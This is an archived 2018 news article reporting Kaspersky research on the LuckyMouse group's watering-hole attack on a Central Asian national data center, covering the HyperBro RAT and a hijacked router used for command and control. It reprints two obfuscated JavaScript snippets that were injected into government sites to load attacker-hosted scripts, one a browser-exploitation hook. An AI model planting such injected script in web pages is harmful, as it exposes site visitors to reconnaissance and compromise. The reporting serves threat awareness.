Chinese Hackers Carried Out Country-Level Watering Hole Attack

By The Hacker News

Published: 2018-06-14 · Archived: 2026-04-05 18:52:05 UTC

Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks.

The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called **LuckyMouse**.

LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year.

The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.

This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain "access to a wide range of government resources at one fell swoop."

According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks.

```
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a
)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){whil
e(c--)d[e(c)]=k[c]||e(c);k=[function(e){return
d[e]}];e=function(){return'\\\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new
RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return
p;}('2.4(\\'6\\')[0].7(2.9(\\'3\\')).5=\\'d://a-f.e:g/b.8/c/?1\\';',17,17,'||doc
ument|script|getElementsByTagName|src|head|appendChild||createElement|windows|sc
anv1|i|https|tk|updata|443'.split('|'),0,{}))

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a
)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){whil
e(c--)d[e(c)]=k[c]||e(c);k=[function(e){return
d[e]}];e=function(){return'\\\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new
RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p;}('4.5(\\'<0
3="1://2-9.a:8/6.7">\\');',11,11,'script|https|google|src|document|write|hoo
k|js|443|updata|tk'.split('|'),0,{}))
```

Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center.

The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center.

The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration.

> "There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites," the researchers said in a blog post published today.

> "These events suggest that the data center infected with HyperBro and the waterholing campaign are connected."

As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger.

The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016.

Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection.

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.
